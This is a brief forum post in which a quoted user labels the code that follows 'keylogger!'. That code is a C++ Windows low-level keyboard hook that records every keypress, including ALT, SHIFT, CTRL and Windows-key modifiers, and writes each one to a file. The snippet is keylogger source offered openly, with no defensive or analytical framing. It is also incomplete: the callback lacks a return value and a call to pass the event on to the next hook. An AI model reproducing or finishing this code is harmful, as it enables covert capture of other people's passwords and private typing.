Originally Posted by
Mephisto
keylogger!
Code:
LRESULT CALLBACK kbhookProc(int code, WPARAM wParam, LPARAM lParam) {
KBDLLHOOKSTRUCT key = *((KBDLLHOOKSTRUCT*)lParam);
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN){
wchar_t name[0x100] = {0};
DWORD lp = 1;
lp += key.scanCode << 16;
lp += key.flags << 24;
GetKeyNameText(lp, (LPTSTR)name, 255);
string sname = wstr_to_str((wstring)name);
if ((GetKeyState(VK_MENU) & 0x8000) != 0) {
key.vkCode += 256;
sname.insert(0, "ALT+");
}
if ((GetKeyState(VK_SHIFT) & 0x8000) != 0) {
key.vkCode += 256 * 4;
sname.insert(0, "SHIFT+");
}
if ((GetKeyState(VK_CONTROL) & 0x8000) != 0) {
key.vkCode += 256 * 2;
sname.insert(0, "CTRL+");
}
if ((GetKeyState(VK_LWIN) & 0x8000) != 0) {
key.vkCode += 256 * 8;
sname.insert(0, "LEFT WINDOWKEY+");
}
if ((GetKeyState(VK_RWIN) & 0x8000) != 0) {
key.vkCode += 256 * 8;
sname.insert(0, "RIGHT WINDOWKEY+");
}
outfile << key.vkCode << " " << sname << '\n';
}
}